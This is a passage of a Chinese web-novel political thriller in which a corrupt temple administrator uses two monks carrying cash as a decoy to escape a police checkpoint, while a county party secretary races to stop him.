鄂建设触电般抬头,眼神中裹着未褪尽的惊骇与深疑,如同两柄淬火的匕首,直刺过去。
明厉似乎全然未觉鄂建设方才的惊悸。
他的脸上甚至寻不到半点该有的焦急,嘴角反而微妙地向上牵了牵,牵扯出一个勉强可称作“宽慰”的姿态。
却凝固得像一张脱了色的劣质面具。
“真佛在上,”明厉和尚的目光微微上抬,声音也抬高了,在雨声的间隙中显得异常清晰,带着一种宣示般的重量,“贫僧在此刻可以对佛祖发誓。”
他甚至缓慢而庄重地在胸前单手合十,动作标准得无懈可击,“因为,在我出来开车时,在方丈室走出一个人,他就是谷组长,他与智远方丈在秉烛夜谈。”
“秉烛夜谈?”鄂建设重复着这四个字,语气里满是怀疑。
“他还嘱咐我早去早回呢。”明厉补充道,嘴角甚至牵起一丝若有若无的笑意。
“他交代我,”明厉的视线精准地落在鄂建设紧绷的脸上,神态恢复了那种近乎于悲悯的平静,“山路难行,夜晚注意安全。”
鄂建设心头的巨石微微一晃,似乎出现了一道缝隙。
他的目光锐利如鹰隼,在明厉脸上缓慢而仔细地巡梭。
那张脸在摇曳的灯影里显得异常平静,如同寺中古井的水面,平滑无纹,连眼角的细微褶皱里都寻不出丝毫波澜。
明厉像是完全读懂了鄂建设眼中翻滚的疑惑与惊疑。
他极其自然地微微侧身,伸出手臂指向大雄宝殿侧后方那片被夜色彻底吞没的深深院落——那是方丈室所在的区域,隐在更高大的殿宇黑影之后,轮廓都难以辨识,只余一片令人心悸的浓稠漆黑。
“那为什么谷组长失踪了?”鄂建设终于问道,目光重新锁定明厉。
“失踪?没有的事。”明厉面不改色心不跳,“方丈室本来就备有精舍,那是招待秉烛夜谈的贵宾的。”
明厉的声音带着一种理所当然的从容,“鄂组有所不知,‘秉烛夜谈’是清凉寺千年传承的仪轨,对待真正有大慧根、愿探讨佛理精深的贵宾方有的敬重。”
“自古如此,典籍中也清晰记载。”
他微微颔首,“谈至深夜,一般谈到晚上一点左右就会留客夜宿的了。”
“贵客便顺理成章留宿寺中专设的精舍之内,是为安全计,也是以求清静澄明之心境。”
他特意加重了“精舍”二字,咬字清晰,如同在木板上稳稳敲下两枚钉子。
第230章 还不放车?
说到这里,明厉的眼神似乎锐利了零点几分秒。
但快得无人能捕捉,随即又化作了古井般的深寂。
“若鄂组仍有疑虑……”他目光坦然而冷静地迎上鄂建设审视的眼睛,唇角弧度分毫不改,“那也简单。烦请鄂组再派个人,现在就去方丈室一看究竟,真相自然大白于眼前。”
“何苦……在此疑神疑鬼,反误了大家的功夫?”
他微微垂下眼睑,语气似乎沉缓了一点,带着一种近乎于慈悲的劝告,却又在每一个字眼上都用了暗劲:“贫僧只担心惊扰过甚,毕竟方丈静修多年,最忌外界无端喧哗叨扰清净。”
那声音不高,带着某种无形的分量,如同暮鼓晨钟。
这话无异于一道无形的符咒,刚刚被明厉那句“亲眼所见”、“亲口嘱咐”稍稍动摇的巨石,刹那间又稳稳当当地落回了鄂建设的心湖,却激起了更深、更隐秘的漩涡。
若谷庄真在和方丈夜谈,那自然是天大的好事。
可若自己现在执意派人去打扰……鄂建设的目光眺射远处大雄宝殿紧闭的厚重木门,想象着里面沉静的诸佛。
方丈修行向来是在坐卧中入定。
即便是睡觉也保持着禅姿,那是一种常人无法理解的修行境界。
此时夜深人静,已是子时末刻,万籁俱寂。
正是其禅定最为紧要、心神与天地交融的关头。
若在这时打扰的话,会被视为“亵渎神圣”、“大不敬”……
这顶帽子,他鄂建设一个小小的工作组副组长,万万担待不起!
在上级眼里,一个干练的工作组长的重要性,恐怕远不如一个拥有无上声望的宗教文化象征——尤其是在这挖掘旅游产业潜力的当口。
要是方丈一怒之下,在某一日的领导座谈会或者市视察组面前轻描淡写地说一句“俗务繁扰,不堪其扰”,那后果……
鄂建设的手心变得湿滑粘腻,不是雨水,是冷汗。
他喉结艰难地滑动了一下,将几乎冲口而出的命令硬生生吞了回去。
“——鄂组长!”一声尖利的呼叫突然爆发!
是悟机!
他猛地从阴影里跨出一步。
那寺门前灯光落在他脸上,颧骨高耸,眼眶深陷,两道刀锋般凌厉的目光灼灼射向鄂建设。
他身上的僧衣如同黑暗的铠甲覆盖在心口,随着他因激动而剧烈起伏的胸膛在灯光下晃动着不祥的幽光。
原本握在手中缓慢捻动的一串黑沉楠木念珠,此刻被他攥得骨节突出,发出细微而令人牙酸的摩擦声。
“我们在此空耗多久了?!”悟机的质问石破天惊,每一个字都带着火药味砸在湿冷的空气里,“要扣压我们?”
“谷组还不放车?”悟机的言词咄咄逼人,“请问我们是不是犯人?”
鄂建设下意识地想要开口解释“不,不,扣车只是暂时的排查,并非……”
“不是犯人?”悟机粗暴地打断了他未竟之言,声音拔得更高,带着一种毫不掩饰的讥讽和狂怒,“不是犯人为何要将我们扣留?”
“为何不允我们离寺?!”
“我们到底是出家修行之人,还是待宰的牛羊?!”
“如果我们犯了法,可以!”
“可是我们现在犯了法吗?没有!”
他又上前一步,直逼到鄂建设面前一臂之遥处站定,那充满压迫感的身影完全挡住了鄂建设眼前的光线。
只留下一个激愤变形的剪影,“僧俗两道,向来泾渭分明!”
“我清凉寺管理自有寺规祖训。”
“你们工作组的铁腕,凭什么越界伸进来,对我们出寺的事情指手画脚、横插一脚?!”
“当你是公安局啊?”每一句质问都像重锤,敲打着鄂建设已然紧绷到极限的神经。
“就是公安局也是管犯法的事!”
“我们犯法了吗?”悟机双目圆睁,眼神几乎要将人刺穿,“拿出证据来!”
“贫僧倒要问问,我们到底犯了哪条天条王法?!”他的僧袍在风中鼓荡,带着一种近乎悲壮的质问。
空气窒息般凝滞。
悟机的胸膛剧烈起伏了几下,那狂怒的表情忽然间收敛,嘴角抿成一条冷酷的直线,但眼里的风暴却丝毫未减。
“若是今晚……”悟机的语速骤然放缓,每个字都清晰无比,如同冰冷的水滴敲在石板上的声音,清晰地钻入鄂建设的耳膜深处,带着巨大的重量——“谷组长一意孤行,执意要扣车扣人……”
他微微一顿,眼里的冷光闪了闪,“那么……休怪贫僧师徒不识大体!”
“改日我们只好去敲响县委江书记办公室的门!”
“还要去市里的佛教协会!去市宗教事务管理局!”
“哪怕是……”他的声音更低哑了一点,带着一种近乎决绝的森然,“去市里的统战部!也要让上级领导们看看清楚,你们工作组在清凉寺,在这佛祖清修之地,干的是何等扰僧清修、戕害清誉之事!”
“是非曲直,自有朗朗乾坤定论!”
鄂建设的瞳孔,在悟机吐出“县委江书记”五个字时,骤然缩紧了!
江昭宁!
鄂建设倏地一惊,一个激灵,心里咯噔一下。
悟机的话击中了他的要害。
向佛教协会,市宗教局,甚至统战部告状,鄂建设倒是不太怕,因为最终还要县上处理。
可是向江昭宁告状问题就大了,他的一句话就可让自己免职,别说将来的文旅局书记,怕是冷板凳也没得坐了。
连个敷衍的闲职都没得落!
巨大的、冰冷的恐惧瞬间攫住了他的五脏六腑,比寺院的千年寒气更甚百倍。
什么失踪的谷庄,什么诡异的纸条,什么秉烛夜谈……在这灭顶之灾般的政治威胁前,都化作了轻飘飘的尘埃。
好汉不吃眼前亏!
谷庄在这个寺院不可能会有生命之危,没有人敢对工作组长下手的。
再说寺庙不杀生是戒律。
他不会有事的,明厉言之凿凿说看见他了,明厉的话应当是对的。
绝不能栽在这里!
一个近乎本能的念头在惊涛骇浪中死死抓住了他——先放人!先过了今晚这要命的关隘!
“……”鄂建设喉咙深处咕哝了一声,像是被什么东西噎住了。
脸上的肌肉抽搐了一下,那是强行压下翻滚情绪带来的生理反应。
他艰难地呼出一口灼热的气,那气息带着压抑的抖动。
他终于抬起手。
那动作显得如此沉重、迟滞,仿佛手臂灌了铅。
不是平时指点江山时那种迅捷有力,而是在极度不情愿与巨大的现实压力下,做出的屈辱抉择。
手臂在空中停滞了极为短暂的瞬间,像在承受着无形的千钧重担,然后猛地挥下!
幅度不大,却带着一种决绝的断裂感。
“去!”那声音像是从胸腔深处被硬生生挤压出来,干涩、嘶哑,带着裂帛之音,饱含了所有的无奈、焦虑以及对未知的惶恐,“快去快回!别耽搁!”
“是!”明厉阴鸷一笑,那笑容快得几乎让人以为是错觉。
第231章 接应
皮卡车的引擎突然轰鸣起来,打破了夜的寂静。
车灯猛地亮起,两道刺目的光柱划破黑暗,照亮了前方蜿蜒的山路。
随着轮胎碾过青石路面发出的嘎吱声,车辆如脱缰野马般冲出寺院大门,迅速消失在浓重的夜色中。
鄂建设站在原地,望着车辆远去的方向,心中的不安却如潮水般涌来。
他忽然意识到,自己可能犯了一个致命的错误——那笑容。
明厉最后那个阴鸷的笑容。
分明藏着某种说不清道不明的胜利和讥讽。
夜风更冷了,吹得他浑身一颤。
……
皮卡车在崎岖的山路上颠簸前行,如同一叶孤舟在汹涌的暗夜海洋中挣扎。
明厉双手紧握方向盘,指关节因过度用力而凸起发白。
几乎要与黝黑的方向盘融为一体。
车厢内弥漫着一股浓重的柴油味和汗水的酸涩气息,偶尔夹杂着从窗外飘来的夜露的清冷。
副驾驶座上的悟机长长舒出一口气,整个人仿佛被抽去了骨头般瘫软在座椅上。
他僧袍的后背已被冷汗浸透,紧贴在皮肤上,勾勒出微微颤抖的脊梁。
“好险。”悟机低声说,声音里还带着一丝劫后余生的颤抖,在发动机的轰鸣中几乎微不可闻。
明厉没有立即回答,他的目光如鹰隼般紧盯着前方曲折的山路。
车灯劈开浓重的夜色,在路面上投下两道苍白的光柱,偶尔照亮惊慌窜入草丛的小动物。
它们眼中反射出的光芒如鬼火般一闪即逝。
“他们不会去方丈室查看吧?”悟机不安地问,手指无意识地捻动着挂在胸前的佛珠,檀木珠子相互摩擦发出细碎的声响。
明厉冷笑一声,嘴角扯出一个冰冷的弧度,“鄂建设没那个胆子。”
“智远方丈的地位他不是不知道,深夜打扰高僧清修,这个罪名他担不起。”
他的声音干涩而肯定,仿佛在说服别人,又像是在说服自己。
“不知谷组他……”悟机欲言又止,话刚到嘴边又咽了回去,仿佛那个名字本身就是一个禁忌。
“够了!”明厉厉声打断,声音陡然升高,在狭小的驾驶室内回荡,“做好你分内的事,其他的不要多问。”
他的眼神锐利如刀,扫过悟机苍白的面容,后者顿时噤若寒蝉。
车内陷入沉默,只有引擎的轰鸣声在夜山中回荡,如同一头困兽的咆哮。
倏地,明厉猛地踩下刹车,皮卡车戛然而止。
轮胎在碎石路上摩擦出刺耳的声响。
悟机因惯性向前冲去,安全带猛地勒进他的肩膀,疼得他倒吸一口冷气。
“你停车干什么?”悟机惊魂未定地问道,声音里带着不解与恐慌。
明厉没有回答。
他的目光投向车厢后方,脸色阴沉得能滴出水来。
“不管东妙监院了?”悟机这才倏地想起东妙就在皮卡车厢,他的声音因恐惧而微微发颤。
“监院!”两人齐声喊道,声音在寂静的山谷中回荡,却得不到任何回应。
片刻后,车厢后传来细微的响动。
一卷厚重的蓝色防尘布被从内部推开,东妙监院从中钻了出来。
他翻身下车,又迅速拉开前门挤进了驾驶室,迫使悟机向中间挪了挪位置。
“继续开车。”东妙的声音低沉。
明厉重新启动车辆,皮卡车再次在山路上颠簸前行。
东妙瞥了一眼后视镜,黑暗中仿佛有无数眼睛在注视着他。
这座山,这座寺,隐藏着太多秘密,而他现在已经深陷其中。
“我们……”悟机的嗓子干得发紧,声音涩滞,“接、接下来怎么办?”
他甚至不敢看监院的侧脸,目光游移在挡风玻璃外水汽模糊的光晕上。
手指不受控制地一遍遍捻着腕上湿滑冰冷的楠木佛珠,指尖冰凉。
东妙深吸一口气,空气中混合着汗味和恐惧的气息,“按原计划进行。”
他的语气平静得可怕。
车辆转过一个急弯,远处山脚下县城的灯火隐约可见,如同散落的星辰般闪烁明灭。
明厉稍稍放松了紧绷的神经,但心中的不安却越来越强烈。
他总觉得有一双眼睛在暗处注视着他们,每一个转弯,每一段直路,都仿佛被无形地监视着。
突然,一道黑影从车前窜过。
明厉猛地踩下刹车,轮胎在碎石路上打滑,车辆失控地旋转了半圈才勉强停住。
惯性将他
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们狠狠甩向前方,又被安全带拉回座椅。
“什么东西?”悟机惊恐地问,双手紧紧抓住车门上的扶手,指节因用力而发白。
明厉没有回答,他的眼睛紧盯着后视镜。
黑暗中,似乎有什么东西在移动,又或许只是树影摇曳产生的错觉。
远处传来一声悠长的狼嚎,在山谷间回荡,平添了几分诡异。
“我们得快点离开这里。”明厉重新启动车辆,声音里带着一丝不易察觉的紧张。
皮卡车再次加速,沿着山路向下驶去。
明厉的掌心渗出冷汗,湿滑得几乎握不住方向盘。
他紧紧抓住那圆形的物体,试图控制住微微颤抖的双手。
远处的寺院已经完全隐没在黑暗的山影中,但那无形的压力却如影随形。
明厉知道,这个夜晚还很长,而他选择的这条路,已经无法回头。
车灯照亮的前方,出现了一个岔路口。
明厉毫不犹豫地选择了左边那条更窄更陡的小路,车辆很快消失在密林深处,被浓密的枝叶吞噬。
就在他们离开后不久,岔路口右侧的路上出现了两束车灯。
一辆黑色轿车缓缓停下,车窗降下,露出一个模糊的人影。
“东妙监院,上车!”有人喊道,声音在寂静的夜山中显得格外清晰。
东妙示意明厉停车,自己推门下车。
“下车,搬一下东西!”东妙叫道,声音急促。
“是!”小车上下来一个人,身影在车灯的映照下拉得很长。
他走向皮卡车厢,费力地搬下了那卷成圆形的厚重蓝色防尘布。
那卷布看起来不轻。
搬它上车后,那个开车的人随后将黑色轿车的钥匙交给了东妙,自己下车走向路边暗处。
不久,远处响起了摩托车的轰鸣声。
他骑车消失在夜色中,引擎声渐行渐远直至完全消失。
东妙上了黑色轿车,驾驶座还残留着前一个驾驶者的体温,旁边副座上还有一套便衣。
他换上便衣,熟练地启动引擎,车辆倏地掉头。
很快消失在另一条路上,仿佛被黑夜吞噬。
又到了一个岔路口,两辆车分道扬镳。
各自驶向未知的命运。
第232章 诱饵!
东妙左手轻扶方向盘,右手拿出手机,在车上打了一个电话。
屏幕的冷光映照在他脸上。
电话接通了,东妙压低声音道:“刘县,我以为你的斡旋会起作用,智远来不了。”
“现在大势已去!”他的声音里带着难以掩饰的失望。
“我已从寺庙脱身,一切无可挽回了。”车轮碾过路面的声音通过话筒隐约可闻。
“我市里活动了,甚至省里也没有落下,也只是让智远推迟了上任的时间而已。”
刘世廷的声音里充满了无奈和挫败,“有点儿螳臂挡车了!没有想到,江昭宁竟然有那么大的能耐,我落下风了。”
东妙紧握手机,指节因用力而发白。
车窗外的山林飞速后退,如同他正在迅速消逝的希望。
“不过,”说到这里,刘世廷话锋一转,声音里突然注入一丝诡异的轻松,“你的这些钱,够你在海外逍遥几辈子的了。”
刘世廷的声音突然严厉起来:“我还告诫你一句话,如有不测,千万别提我。”
“否则,外边捞你的人也没有。”
这句话中的威胁和警告显而易见,如同一把冰冷的**抵在东妙的咽喉。
“知道!”东妙挂断了电话,手指因用力而微微颤抖。
他将手机扔在副驾驶座上,仿佛那是一个烫手的山芋。
他当然明白这个道理。
车辆在蜿蜒的山路上疾驰,东妙的思绪却飘回了寺庙……一切都如同梦魇般萦绕不去。
他知道,自己再也回不去了。
无论前方是生路还是绝路,他都只能继续前行。
夜色越来越浓,山路越来越险,而东妙的内心却异常平静——这是一种已经放弃所有希望后的诡异平静。
……
凌晨四点钟,万籁俱寂。
江昭宁在熟睡中被一阵急促的手机铃声惊醒。
他眯着眼睛,摸索着抓到床头柜上震个不停的手机。
黑暗中,屏幕的冷光刺得他眼睛生疼。
一般这个时间段,不会有人打扰自己,除非出了大事!
他一看手机,是乔国良来的电话。
江昭宁的睡意瞬间消散,马上接了电话,声音还带着刚醒时的沙哑:“有什么事?”
“江**!”手机听筒里,乔国良的声音嘶哑高亢,像被狂风推涌着的巨浪,每一个字都裹挟着极致的亢奋猛烈拍打过来,穿透深夜的死寂,“成了!”
“清凉寺!那两个贼和尚,想跑?抓住了!逮了个正着!”
他顿了顿,加重语气补充道:“携带着大量的钱款呀!”
江昭宁猛地一挺身,背部肌肉瞬间绷紧,冰凉的席梦思垫层透过薄薄睡衣吸走他的体温。“谁?”
他追问,声调倏地低沉冷硬下去,锐利如刀。
“就是东妙座前最得力的狗腿子,明厉和悟机!”
“俩小子开着一辆快要散架的破皮卡,冲我们埋伏好的卡点撞过来。”
“嘿,正好撞枪口上!人赃并获!”
乔国良的语速快得像失控的**扫射,每个字都因为激动而扭曲上扬,“打开车斗一看,老天爷!两箱子!都是旧钞,连号不连续,很明显是**。”
“江**,这简直是天降功劳,铁证如山呐!”
明厉、悟机?东妙座下左膀右臂的亲信,平日里替那老狐狸鞍前马后奔走甚密?
一丝极其微弱的松懈感如同尘埃般刚刚扬起,立刻又被更为强烈迅猛的直觉粉碎——不对!那两个宵小之徒,再是得力亲信,也不过是提线木偶!
东妙其人阴狠诡诈、视财如命,经营清凉寺多年织就的暗网盘根错节。
他绝不可能将如此巨额的命根子全权交给两个喽啰去奔逃!
一丝冰凉彻骨的寒意陡然滑过心脏。
“只有他们两个?”他追问,声音像绷紧的钢丝绳,冷硬得没有丝毫回旋余地。
“是的。”
“你在现场?”江昭宁问道,同时打开了床头灯,光线刺得他眯起了眼睛。
“对。”乔国良的声音因激动而有些颤抖,“这一下人赃俱获。”
江昭宁的心沉了下去:“东妙不在其中?”
“不在,那老狐狸根本没露面!”
“他应当在寺庙。”
乔国良回答得很肯定,“我打电话问了寺庙值班的鄂局,他也证实了只有明厉和悟机骗出了寺门。”
鄂局?东妙在清凉寺内部?
江昭宁捕捉到乔国良话语里的得意细节,心头却“咯噔”一沉。
“你们收工了?”江昭宁厉声打断对方的兴高采烈,话语像锋利的冰凌戳出。
“是,在收工返回的路上。”乔国良似乎察觉到江昭宁语气的变化,声调降低了几分。
“收工返回?!
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”
这四个字像重锤猛砸在江昭宁心口。
一股骤然紧缩的冰凉感觉瞬间沿着脊柱攀爬而上,紧接着是滚烫的、足以烧毁理智的岩浆迸发!
他眼前仿佛炸开一道撕裂黑夜的电光——所有看似顺理成章的线条在他脑中急速缠绕、旋转,倏地凝聚成一个清晰得令人毛骨悚然的图案!
那辆破旧的皮卡、那两个并非真正主角的“硕果”、那被轻易调动离开卡点的警力……这一切绝非偶然!
这是精心策划的棋局!
是狡黠猎手抛出的致命诱饵!
江昭宁心中电光石火倏地一闪,一股不祥的预感涌上心头。
他的语气陡然严厉起来,“通往机场的高速入口关上是谁在驻守?”
电话那头的乔国良明显愣了一下:“江**,那是吴兴昌带队驻守的。”
“他们在返回途中?”江昭宁的心跳加速了。
“是的。人已擒获,任务完成了,再驻守也没有意义了。”乔国良的声音开始显得有些不安。
“不对!”江昭宁几乎是吼出来的,声波透过手机几乎震裂寂静的听筒空间,“乔国良!你糊涂!中了对方的调虎离山之计!”
“声东击西!东妙是要金蝉脱壳!”
“把你和能拦截他的主要警力全都调开!”
空气在电话两端被死死冻结。
听筒里那端持续不断的汽车引擎噪声似乎也骤然停止了轰鸣。
“这?”几秒令人窒息的死寂之后,才传来乔国良带着惊恐颤抖的吸气声。
“高速入口!通往机场的高速入口!”江昭宁的声音斩钉截铁,像滚烫钢水砸向铁砧,“那个咽喉要道,不能撤回来休整。”
冰冷的恐慌感浸透骨髓乔国良深处。
江昭宁的话快如激射的箭矢,每一句都直指最致命要害,“高速卡点被抽离,等于空门大开!留给目标逃窜的巨大豁口!”
“立刻!马上!”江昭宁对着手机厉声喝令,每一个字都带着千钧之力,仿佛要穿透无线电波砸入对方大脑,“命令吴兴昌那组人马!立刻调头!”
“以最快速度给我滚回高速入口!重新埋伏好!设卡!”
“任何过往车辆,务必一寸一寸给我仔细盘查!”
“敢耽误一分钟,我唯他是问!”他的声音蕴含着爆发边缘的危险气息,似雷霆即将劈裂云层。
第233章 催什么催?
“……是!是,我命令吴兴昌带队返程……”乔国良的声音彻底变了调。
那抹兴奋的残响被骤然刮起的暴风吹得无影无踪,只剩一片茫然的空洞和被戳穿真相后的恐慌。
手机那一边传来他匆忙下达指令的声音。
“还有你!”江昭宁语速如电光石火,指令一个接一个迸发,“你现在位置?!”
“刚、刚过五里桥,快、快进城了……”
“那两个和尚由稳妥的干警押回看守所!”
“你!现在!立刻开着你的车!以最快的速度给我赶到县委!只给你十五分钟!必须赶到!”
江昭宁的语调冰冷、坚决、不容丝毫拖延或质疑。
“来、来县委?接您?”
“是,是要去……高速口?”乔国良呼吸急促艰难,带着后知后觉的惊恐,但言语中已有尘埃落定、彻底清晰的顿悟。
“十五分钟!我看你车技!”江昭宁厉吼之后,“喀嚓”一声狠狠挂断电话,声音在漆黑房间余韵里依然隐隐回荡。
四周依旧被浓密深沉的黑暗笼罩。
但刚才那几番急促激烈的对话已彻底撕碎死寂。
取而代之的是暗涛汹涌的巨大风暴降临前令人窒息的低气压。
“是!”乔国良电话那头传来他急促的呼吸声和汽车引擎加速的声音。
江昭宁猛地掀开被子,赤脚直接踏在冰凉的地板上。
那透骨的寒意瞬间刺穿脚掌直冲天灵盖。
如同迎面泼来一盆冰水。
让他因为紧急事态而激荡灼热的大脑骤然冷却清醒。
他迅速套上裤子,冰冷的拉链头如同毒蛇牙齿刮过他指腹。
接着是衬衫,棉质衣料摩擦着皮肤发出轻微的沙沙声,像时间细碎而危险的流逝。
系纽扣的手指在黑暗中动作快得几乎出现残影。
每一个动作都带着争分夺秒的急切——时间。
现在就是一切最核心的筹码。
走到门口穿衣镜前,窗外的微弱夜光勾勒出他瘦削挺直的轮廓。
他抓起那件挂在一旁、熨烫得没有一丝褶皱的藏青色夹克。
他地将双臂送入袖管,猛地一耸,夹克稳稳覆住双肩,如同战士披挂铠甲。
客厅茶几上,深红色的固定电话机像一块不祥的警示牌蛰伏着。
他抓起话筒,指尖在熟悉的数字键上急速跳动,几乎带着敲击命令的迫切感。
“嘟——嘟——”线路接通的声音被刻意压制得沉稳低哑,即使在凌晨的死寂中也不显得刺耳。
“刘主任,”江昭宁的声音穿透深夜的静谧,清晰有力,没有一丝商量的余地,“立刻给我接通省厅曾厅长,我要专线!”
“对,就现在!十万火急!”
“告诉他,有核心人物可能紧急外逃!”
他语速极快,每一个字都裹在不容置疑的冰层之下,“请求启动机场、车站、码头临时布控机制,目标锁定人物:东妙!”
“同时,立刻给我协调市**局的空中布控资源,警用无人机我要立刻看到部署覆盖清凉寺及通往省道、国道的所有路径!”
“动作要快!越快越好!”
话筒紧贴在他耳边,能清晰听到另一端刘志刚传来倒吸冷气的声音和纸张被手指慌乱攥紧的急促摩擦声。“……明白!江**!我立刻、立刻联系!”
县里一把手深夜专报紧急请求,每一个字都重逾千斤,砸在他的心上。
他撂下听筒的瞬间。
窗外似乎有一阵裹挟尘埃的冷风贴着玻璃缝隙渗漏进来,吹在脸上像冰冷的小刀片刮过。
“呜——哇呜哇呜——”
凄厉到刺耳的警笛声由远及近,撕裂了县府大院凌晨的沉寂,像是一头金属巨兽在沉睡的街区里咆哮冲刺。
最终带着尖锐的刹车声在楼下硬生生止住,轮胎与地面刮擦出短促而暴躁的噪音。
红蓝交替的警示灯光芒闪烁跳跃,透过窗玻璃,将江昭宁伫立窗前的侧影染上一层不断变幻、妖异而决绝的色彩。
乔国良从警车上下来,快步为江昭宁打开车门:“江**,请上车。”
江昭宁点点头,坐进副驾驶座。
乔国良回到驾驶位,车辆立即启动,向着高速入口方向疾驰而去。
“现在什么情况?”江昭宁系好安全带,直接切入正题。
乔国良面色凝重:“吴兴昌组已经回到高速入口设卡点,但目前还没有发现任何异常。”
“清凉寺外围监控点也没有发现东妙离开的迹象。”
江昭宁沉思片刻:“东妙不可能坐以待毙。”
“他一定已经离开了寺庙。”
“您的意思是……”乔国良疑惑地问。
车辆在空旷的道路上快速行驶,两人都陷入了沉思。
……
吴兴昌接到了回返设卡点的命令,心里一阵窝火。
对讲机那头乔国良的声音还带着不容置疑的命令口吻,这让他更加烦躁。
“这不是乱命吗?”他低声咒骂着,一把将对讲机扔在副驾驶座上。
警车内的空气顿时凝重起来,同车的两名
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年轻干警交换了个眼神,没敢吱声。
吴兴昌双手重重拍在方向盘上,喇叭短促地响了一声,在寂静的凌晨格外刺耳。“出尔反尔?要累**的!”
他几乎是吼出来的,额头上青筋暴起。
车内无人应答。
大家都知道吴大队长和乔局长之间的那点过节。
乔国良成了副局长,吴兴昌对此耿耿于怀。
“乔国良这小子抢了我的位子不说,一当了副局长就骑在我头上拉屎拉尿?”
吴兴昌越说越气,拳头攥得发白,“刑侦大队再怎么说也是第一大队,大队长也是副科实职里的第一号人物,轮着你来吆三喝四?”
坐在后座的小王小心翼翼地开口:“吴队,那我们现在...”
“能怎么办?”
“警令如山,谁敢不听?”吴兴昌没好气地打断他,但手上的动作却明显迟缓。
喜欢自己开车,喜欢飙车的他。
一反常态,慢吞吞地启动警车,慢吞吞地调头,仿佛每个动作都在无声地**。
磨磨蹭蹭一阵儿。
吴兴昌才极不情愿地带队乘车返回设卡点。
他故意放慢车速,沿途甚至停了一次车,假借检查路况下车抽了根烟。
烟雾在凌晨的清冷空气中缭绕,映衬着他阴郁的脸色。
“吴队,乔副局长刚才又催了……”对讲机里传来乔国良的声音。
“知道了知道了,路上不得注意安全吗?”吴兴昌不耐烦地回应,狠狠掐灭烟头,“催什么催?”
等他终于带队回到卡点时,已经比预期晚了将近二十分钟。
又花费了几分钟才重新布置好阻车器,架设路障。
“看吧,哪里有什么可疑车子?”吴兴昌摊开手,语气中带着几分得意,仿佛自己的拖延被证明是合理的,“大半夜的折腾人玩呢?”
**的是,就在他慢腾腾返回的这一段空档期。
一辆黑色奔驰S级轿车刚从空无一人的卡点疾驰而过。
那辆车如同幽灵般悄无声息,车窗贴着深色膜,在凌晨的薄雾中几乎融为一体。
驾驶座上的东妙一脸得意,手指轻敲方向盘,嘴里哼着佛经调子。他的调虎离山计成功了!
那两个携款出逃的弟子果然吸引了全部注意力。
而这条原本严防死守的高速通道,竟然真的如他预料的那样空无一人。
只要通过了这个卡点,再过几分钟就是通往机场的高速,然后是国际航班。
最后是某个没有引渡条约的国家……
第234章 落网
东妙轻轻加速,奔驰车如同离弦之箭般射入高速公路的黑暗之中。
这一刻,他感到前所未有的自由和解脱。
当不了方丈,到国外当一个安乐翁还是可以的。
而在卡点这边,吴兴昌正靠在警车旁,又点燃了一支烟。“我就说嘛,乔副局长还是沉不住气,咋咋呼呼的。”
年轻干警们唯唯诺诺地点头,没人敢反驳。
但其中有人隐约觉得不安,不时望向空荡的道路尽头,仿佛错过了什么重要的东西。
吴兴昌打了个哈欠,伸了个懒腰:“再守半小时,没什么情况就收队吧。”
“这一晚上折腾的……”
天上出现了一个闪光点,传来了无人机的嗡嗡叫声。
正在开车的东妙全身的肌肉猛地一僵,脊椎窜上一股冰冷的电流!
不好!
他惊叫一声,善者不来!
他加快了逃逸的速度。
东妙猛地踩下油门,奔驰车引擎发出一声压抑的咆哮,轮胎在路面上短暂打滑后,如离弦之箭般疾射而出。
他单手控制方向盘,另一只手慌乱地调整后视镜,目光在道路和天空之间急速切换。
就在那被前灯照射、反着冰冷水光的碎石路面上。
一团绝对不属于岩石或树干的浓重暗影急速掠过!
速度极快,轮廓甚至无法在视网膜留下清晰的影像。
但带起的微弱风声却清晰得宛如在耳边掠过!
“哧——!!!”刺耳的刹车摩擦声几乎同时盖过了他的嘶吼!
东妙的反应快如闪电,猛踩刹车的力道几乎要将踏板踩进车体!
巨大的惯性狠狠将他甩向前方,安全带瞬间勒进皮肉,如同冰冷的铁索。
他一头撞在冰冷坚硬的仪表盘边缘,“嘭”的一声闷响伴随着一声短促的痛哼!
车轮在湿滑的碎石和粘稠的泥浆中疯狂打滑,轮胎抓地力如同蒸发般消失!
沉重的奔驰瞬间失控,如同被抽晕的陀螺,猛地向着右前方剧烈旋转了半圈!
他的视野一片混沌!
车头几乎要撞向路边一棵黢黑臃肿、布满湿漉苔藓的古老栗树!
“吱嘎——嘎——!”
令人牙酸的刮擦声从底盘传来,伴随着猛烈的震动!
不知是蹭到了坚硬的树根还是路基下裸露的岩石。
车尾不受控制地向深渊方向甩去!
车轮碾过松软塌陷的边缘,又一块碎石滚落深涧!
时间如同冻结了一瞬。
“靠住!”东妙的嘶吼在剧烈旋转的车内炸开,带着破釜沉舟的狠劲!
他如同与这失控的野兽搏命,双手青筋暴凸地死死绞住方向盘。
左脚松开刹车瞬间又极其短促地猛点油门,试图重新找回一丝扭矩,将车头向反方向猛拉!
轮胎在泥泞碎石中发出更加凄厉的空转嘶鸣!
奔驰在悬崖边缘挣扎着画了半个疯狂的弧线,终于带着一阵濒死的颤抖和令人心碎的金属呻吟。
车头重重蹭过路边湿漉坚硬的岩壁,磨出一片刺目火星后,彻底停了下来!
浓烈的橡胶烧糊气味混合着引擎舱的金属高温气息和瞬间填满了整个车厢。
如同死亡的余烬。
挡风玻璃外。
除了近在咫尺、被撞掉一块巨大黑褐色湿皮的老栗树树干,四周只有浓稠如墨汁般化不开的黑暗。
车前灯照射的光柱在乱晃,所及之处全是嶙峋的石壁。
“什么……什么东西?”悟机的声音变了调,带着浓重的哭腔和无法抑制的颤抖,嘴角似乎溢出了一丝铁锈味。
他摸索着抬起撞在仪表盘上的头,眼前金星乱舞,额角传来钻心的剧痛,温热粘稠的液体正缓慢地沿着眉骨流下。
他顾不得擦血,惊恐的眼神死死盯住东妙的后视镜——镜子里只有车尾灯发出的微弱红光在中晕染开来,扭曲而模糊。
东妙的手依旧钳子般死死扣在方向盘最上方,指骨因为过度用力而失去血色,如同几段惨白的枯骨。
引擎还在苟延残喘般低沉轰鸣。
黑暗。
极致的黑暗。
除了被车尾灯染上的一小片湿漉漉的、透着诡异暗红色的地面,什么也看不见。
没有车灯逼近的光晕,没有追来的人影……刚才那道致命的黑影,如同一个恶意的错觉,就这么无声无息地融入了墨汁般粘稠的山野。
然而,看不见的威胁最是剐人心肺。
那无边的寂静里,仿佛有什么东西正屏息潜伏。
冰冷的空气如同凝固的油脂。
东妙不再等待。
那粘稠、沉重的被窥视感如同湿冷的蛛网紧贴着皮肤。
他猛地吸了一口气,压下
